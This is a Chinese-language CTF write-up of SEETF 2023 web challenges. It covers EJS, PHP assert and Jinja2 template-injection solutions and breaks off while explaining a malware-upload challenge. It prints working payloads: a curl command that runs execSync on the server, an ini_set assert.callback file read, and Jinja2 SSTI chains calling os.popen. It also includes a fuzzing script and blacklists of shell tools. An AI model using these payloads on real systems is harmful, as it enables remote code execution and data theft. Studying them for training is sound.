[SEETF 2023]Express JavaScript Security

下载附件,ejs版本3.1.9,存在SSTI
main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

const express = require('express');
const ejs = require('ejs');

const app = express();

app.set('view engine', 'ejs');

const BLACKLIST = [
"outputFunctionName",
"escapeFunction",
"localsName",
"destructuredLocals"
]

app.get('/', (req, res) => {
return res.render('index');
});

app.get('/greet', (req, res) => {

const data = JSON.stringify(req.query);//将HTTP请求参数转化为json格式

if (BLACKLIST.find((item) => data.includes(item))) {
return res.status(400).send('Can you not?');
}

return res.render('greet', {
...JSON.parse(data),
cache: false
});
});

app.listen(3000, () => {
console.log('Server listening on port 3000')
})

greet.ejs

1
2
3
4
5
6
7
<html>
<body>
<h1 style="font-family: <%= font %>; font-size: <%= fontSize %>px;">
Hello <%= name %>
</h1>
</body>
</html>

这里index.ejs就算把提交的表单内容提取出来再跳转:
/greet?name=你提交的内容&font=你提交的内容&fontSize=20

还有这里黑名单过滤了点字符:

1
2
3
4
5
6
7
    "outputFunctionName",

    "escapeFunction",

    "localsName",

    "destructuredLocals"

这里参考的这位大佬的wp:
https://blog.maple3142.net/2023/06/12/seetf-2023-writeups/#web

1
curl 'http://node4.anna.nssctf.cn:28843/greet' -G --data-urlencode 'settings[view%20options][debug]=true' --data-urlencode 'settings[view%20options][client]=true' --data-urlencode 'settings[view%20options][escape]=(() => {});return process.mainModule.require("child_process").execSync("/readflag").toString()'

本地:
image.png
NSSCTF:
image.png
curl:
image.png

[SEETF 2023]Sourceful Guessless Web

这题NSSCTF平台给改错了,没法复现,我在docker本地复现的,docker地址: https://github.com/sajjadium/ctf-archives/blob/main/ctfs/SEETF/2023/web/Sourceful_Guessless_Web/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set('display_errors', 0);

$flag = "SEE{FAKE_FLAG}"; // Oops, my dog ate my flag...

if (isset($_GET['flag']) && preg_match("/^SEE{.*}$/", $_GET['flag'])) {
$flag = $_GET['flag'];

if (isset($_GET['debug']) && isset($_GET['config'])) {
foreach ($_GET['config'] as $key => $value) {
ini_set($key, $value);
}
}
}

assert(preg_match("/^SEE{.*}$/", $flag), NULL);
?>

我们传参的flag必须是SEE{}类型才能通过assert断言,这里能利用的只有ini_set()方法
这里用到的是pcre.recursion_limit:它是一个配置项,用于限制PCRE引擎在匹配过程中的递归深度,它被设置为0时preg_match会断言失败

assert.callback配置项指定在断言失败被调用的函数,可以参考: https://www.php.net/manual/zh/info.configuration.php

此时我们知道flag在当前index.php里面,读取文件函数var_dump没有出来源代码,highlight_file无法使用,readfile可以

1
?flag=SEE{whatever}&debug=1&config[pcre.backtrack_limit]=0&config[assert.callback]=readfile

image.png
这里是本地搭建的没有改flag的值

[SEETF 2023]File Uploader 1

/upload路由看来半天,思路从文件上传bypass变成了filename的ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method != 'POST':
return redirect(url_for('profile'))

# check if the post request has the file part
if 'file' not in request.files:
return redirect(url_for('profile'))
file = request.files['file']

# If the user does not select a file, the browser submits an empty file without a filename.
if file.filename == '':
return redirect(url_for('profile'))

fileext = get_fileext(file.filename)

file.seek(0, 2) # seeks the end of the file
filesize = file.tell() # tell at which byte we are
file.seek(0, 0) # go back to the beginning of the file

if fileext and filesize < 10*1024*1024:
if session['ext'] and os.path.exists(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext'])):
os.remove(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext']))
session['ext'] = fileext
filename = session['uuid']+"."+session['ext']
file.save(os.path.join(UPLOAD_FOLDER, filename))
return redirect(url_for('profile'))
else:
template = f"""
{file.filename} is not valid because it is too big or has the wrong extension
"""
l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\']

l2 = ['aa-exec', 'agetty', 'alpine', 'ansible-playbook', 'ansible-test', 'aoss', 'apt', 'apt-get', 'aria2c', 'arj', 'arp', 'ascii-xfr', 'ascii85', 'ash', 'aspell', 'atobm', 'awk', 'aws', 'base', 'base32', 'base58', 'base64', 'basenc', 'basez', 'bash', 'batcat', 'bconsole', 'bpftrace', 'bridge', 'bundle', 'bundler', 'busctl', 'busybox', 'byebug', 'bzip2', 'c89', 'c99', 'cabal', 'cancel', 'capsh', 'cat', 'cdist', 'certbot', 'check_by_ssh', 'check_cups', 'check_log', 'check_memory', 'check_raid', 'check_ssl_cert', 'check_statusfile', 'chmod', 'choom', 'chown', 'chroot', 'cmp', 'cobc', 'column', 'comm', 'comm ', 'composer', 'cowsay', 'cowthink', 'cpan', 'cpio', 'cpulimit', 'crash', 'crontab', 'csh', 'csplit', 'csvtool', 'cupsfilter', 'curl', 'cut', 'dash', 'date', 'debug', 'debugfs', 'dialog', 'diff', 'dig', 'dir', 'distcc', 'dmesg', 'dmidecode', 'dmsetup', 'dnf', 'docker', 'dos2unix', 'dosbox', 'dotnet', 'dpkg', 'dstat', 'dvips', 'easy_install', 'echo', 'efax', 'elvish', 'emacs', 'env', 'eqn', 'espeak', 'exiftool', 'expand', 'expect', 'facter', 'file', 'find', 'finger', 'fish', 'flock', 'fmt', 'fold', 'fping', 'ftp', 'gawk', 'gcc', 'gcloud', 'gcore', 'gdb', 'gem', 'genie', 'genisoimage', 'ghc', 'ghci', 'gimp', 'ginsh', 'git', 'grc', 'grep', 'gtester', 'gzip', 'head', 'hexdump', 'highlight', 'hping3', 'iconv', 'ifconfig', 'iftop', 'install', 'ionice', 'irb', 'ispell', 'jjs', 'joe', 'join', 'journalctl', 'jrunscript', 'jtag', 'julia', 'knife', 'ksh', 'ksshell', 'ksu', 'kubectl', 'latex', 'latexmk', 'ld.so', 'ldconfig', 'less', 'less ', 'lftp', 'loginctl', 'logsave', 'look', 'ltrace', 'lua', 'lualatex', 'luatex', 'lwp-download', 'lwp-request', 'mail', 'make', 'man', 'mawk', 'more', 'mosquitto', 'mount', 'msfconsole', 'msgattrib', 'msgcat', 'msgconv', 'msgfilter', 'msgmerge', 'msguniq', 'mtr', 'multitime', 'mysql', 'nano', 'nasm', 'nawk', 'ncftp', 'neofetch', 'netstat', 'nft', 'nice', 'nmap', 'node', 'nohup', 'npm', 'nroff', 'nsenter', 'nslookup', 'octave', 'openssl', 'openvpn', 'openvt', 'opkg', 'pandoc', 'paste', 'pax', 'pdb', 'pdflatex', 'pdftex', 'perf', 'perl', 'perlbug', 'pexec', 'php', 'pic', 'pico', 'pidstat', 'ping', 'pip', 'pkexec', 'pkg', 'posh', 'pry', 'psftp', 'psql', 'ptx', 'puppet', 'pwsh', 'rake', 'readelf', 'red', 'redcarpet', 'redis', 'restic', 'rev', 'rlogin', 'rlwrap', 'route', 'rpm', 'rpmdb', 'rpmquery', 'rpmverify', 'rsync', 'rtorrent', 'ruby', 'run-mailcap', 'run-parts', 'rview', 'rvim', 'sash', 'scanmem', 'scp', 'screen', 'script', 'scrot', 'sed', 'service', 'setarch', 'setfacl', 'setlock', 'sftp', 'shuf', 'slsh', 'smbclient', 'snap', 'socat', 'socket', 'soelim', 'softlimit', 'sort', 'split', 'sqlite3', 'sqlmap', 'ssh', 'ssh-agent', 'ssh-keygen', 'ssh-keyscan', 'sshpass', 'start-stop-daemon', 'stdbuf', 'strace', 'strings', 'sysctl', 'systemctl', 'systemd-resolve', 'tac', 'tail', 'tar', 'task', 'taskset', 'tasksh', 'tbl', 'tclsh', 'tcpdump', 'tdbtool', 'tee', 'telnet', 'tex', 'tftp', 'time', 'timedatectl', 'timeout', 'tmate', 'tmux', 'top', 'torify', 'torsocks', 'touch', 'traceroute', 'troff', 'truncate', 'tshark', 'unexpand', 'uniq', 'unshare', 'unzip', 'update-alternatives', 'uudecode', 'uuencode', 'vagrant', 'valgrind', 'view', 'vigr', 'vim', 'vimdiff', 'vipw', 'virsh', 'volatility', 'w3m', 'wall', 'watch', 'wget', 'whiptail', 'whois', 'wireshark', 'wish', 'xargs', 'xdotool', 'xelatex', 'xetex', 'xmodmap', 'xmore', 'xpad', 'xxd', 'yarn', 'yash', 'yelp', 'yum', 'zathura', 'zip', 'zsh', 'zsoelim', 'zypper']
for i in l1:
if i in template.lower():
print(template, i, file=sys.stderr)
template = "nice try"
break
matches = re.findall(r"['\"](.*?)['\"]", template)
for match in matches:
print(match, file=sys.stderr)
if not re.match(r'^[a-zA-Z0-9 \/\.\-]+$', match):
template = "nice try"
break
for i in l2:
if i in match.lower():
print(i, file=sys.stderr)
template = "nice try"
break
return render_template_string(template)

过滤的字符有

1
['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\']

可以用{% print() %}语句

fuzz找可利用类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import requests

url = "http://node5.anna.nssctf.cn:28326//upload"
headers = {
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND',
'Cookie': 'session=eyJleHQiOm51bGwsInV1aWQiOiJlOTFkMWZhYS1iZDEzLTQ0MTctODQ4YS0wYWUxNmRlYjlmZGEifQ.ZRAzUg.SaZGZzG8nBbt3ZS2lHgdn-OtDAk'
}
for i in range(100):
payload = '{% print([].__class__.__base__.__subclasses__()['+str(i)+']) %}'
data = f'''------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="file"; filename="{payload}"
Content-Type: text/plain

test

------WebKitFormBoundary8ALIn5Z2C3VlBqND--
'''
response = requests.post(url, headers=headers, data=data)
#print(response.text)
if "_frozen_importlib_external.FileLoader" in response.text:
print(response.text)
print(i)
break

找到类的位置为99
1
{% print([].__class__.__base__.__subclasses__()[99].get_data(0,'flag.txt')) %}

直接读取
image.png

[SEETF 2023]File Uploader 2

这题的ssti点在/uploads/,随便写的payload命名为图片后缀,访问图片自动执行payload
fuzz:

1
{{[].__class__.__base__.__subclasses__()}}

找warnings.catch_warnings:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import json
classes="""
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '__future__._Feature'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'array.array'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'flask.globals._FakeStack'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class 'uuid.UUID'>, <class 'flask.json.provider.JSONProvider'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.routing.converters.BaseConverter'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.rules.RulePart'>, <class 'werkzeug.routing.rules.RuleFactory'>, <class 'werkzeug.routing.rules.RuleTemplate'>, <class 'werkzeug.routing.matcher.State'>, <class 'werkzeug.routing.matcher.StateMachineMatcher'>, <class 'werkzeug.routing.map.Map'>, <class 'werkzeug.routing.map.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'sqlite3.Row'>, <class 'sqlite3.Cursor'>, <class 'sqlite3.Connection'>, <class 'sqlite3Node'>, <class 'sqlite3.Cache'>, <class 'sqlite3.Statement'>, <class 'sqlite3.PrepareProtocol'>, <class 'waitress.utilities.Error'>, <class 'waitress.wasyncore.dispatcher'>, <class 'waitress.wasyncore.file_wrapper'>, <class 'waitress.trigger._triggerbase'>, <class 'waitress.adjustments._bool_marker'>, <class 'waitress.adjustments.Adjustments'>, <class 'waitress.buffers.FileBasedBuffer'>, <class 'waitress.buffers.OverflowableBuffer'>, <class 'waitress.receiver.FixedStreamReceiver'>, <class 'waitress.receiver.ChunkedReceiver'>, <class 'waitress.parser.HTTPRequestParser'>, <class 'waitress.task.ThreadedTaskDispatcher'>, <class 'waitress.task.Task'>, <class 'waitress.server.MultiSocketServer'>, <class 'unicodedata.UCD'>]
"""
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "warnings.catch_warnings" in v:
print(str(k)+"--->"+v)

结果:216—->
payload:
1
{{[].__class__.__base__.__subclasses__()[216].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat init.py').read()") }}

image.png

==重点:==
参考了https://blog.l1ao.top/2023/06/12/SEECTFwriteups/的wp,这里的登录靠的是sqlite3的单引号和双引号的区别
image.png

[SEETF 2023]Throw your malware here!

题目描述(翻译后):FLOSS是高级“字符串”,所以我决定将其作为SAAS运行!鸽子不断向我扔的混淆代码已经够多了!事实上,我决定处理所有类型的文件,甚至是非PE文件和受密码保护的zip文件!标志位于 ‘/etc/flag’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from typing import Optional
import zipfile
import random
import shutil
import string
import subprocess
from pathlib import Path

import pefile
from fastapi import FastAPI, HTTPException, UploadFile
from fastapi.responses import JSONResponse


FILE_CACHE = Path("/app/cache")
FLOSS_PATH = Path("/usr/local/bin/floss")

app = FastAPI()


def get_random_string(length: int = 16) -> str:
# choose from all lowercase letter
letters = string.ascii_lowercase
return "".join(random.choice(letters) for _ in range(length))


@app.on_event("startup")
def startup():
# Ensure caches exist
if not FILE_CACHE.is_dir():
FILE_CACHE.mkdir()


def run_floss(target: Path) -> str:
args = [str(target), "--json"]
try:
pefile.PE(name=str(target))
except pefile.PEFormatError:
args.extend(("--only", "static"))
output = subprocess.check_output((FLOSS_PATH, *args))
return output.decode()


@app.post("/floss")
def floss_endpoint(sample: UploadFile, password: Optional[str]) -> JSONResponse:
random_path = get_random_string()
while (target_path := FILE_CACHE / random_path).exists():
random_path = get_random_string()
with target_path.open("wb+") as f:
shutil.copyfileobj(sample.file, f)
is_zipfile = zipfile.is_zipfile(target_path)
if is_zipfile:
with zipfile.ZipFile(target_path) as f:
# No zip bombs!
file_size_sum = sum(data.file_size for data in f.filelist)
compressed_size_sum = sum(data.compress_size for data in f.filelist)
if (file_size_sum / compressed_size_sum > 10):
raise HTTPException(413, "Zip Bomb Detected")

zipobjects = f.infolist()
if any(zipobject.file_size > 50000 for zipobject in zipobjects):
raise HTTPException(418, "I'm a teapot!")
files = f.namelist()
args = ["unzip"]
if password:
args.extend(("-P", password))
args.extend((str(target_path), "-d", f"{FILE_CACHE / random_path}-zip"))
a = subprocess.run(args)
if a.returncode != 0:
raise HTTPException(422, "Invalid password!")
targets = [FILE_CACHE / f"{random_path}-zip" / file for file in files]
else:
targets = [target_path]
results = [run_floss(target) for target in targets]
return JSONResponse(
{target.name: result for target, result in zip(targets, results)}
if is_zipfile
else results[0]
)

CHATGPT翻译一下,这里重点看floss路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
这段代码是一个FastAPI路由(`/floss`),它处理文件上传并执行一系列操作,然后返回JSON响应。下面是这段代码的详细解释:

1. `@app.post("/floss")`: 这是一个使用FastAPI框架的路由装饰器,指定了HTTP POST请求的路径为 `/floss`。这意味着当收到HTTP POST请求时,将执行以下函数来处理请求。

2. `def floss_endpoint(sample: UploadFile, password: Optional[str]) -> JSONResponse:`: 这是路由处理函数的定义。它接受两个参数:

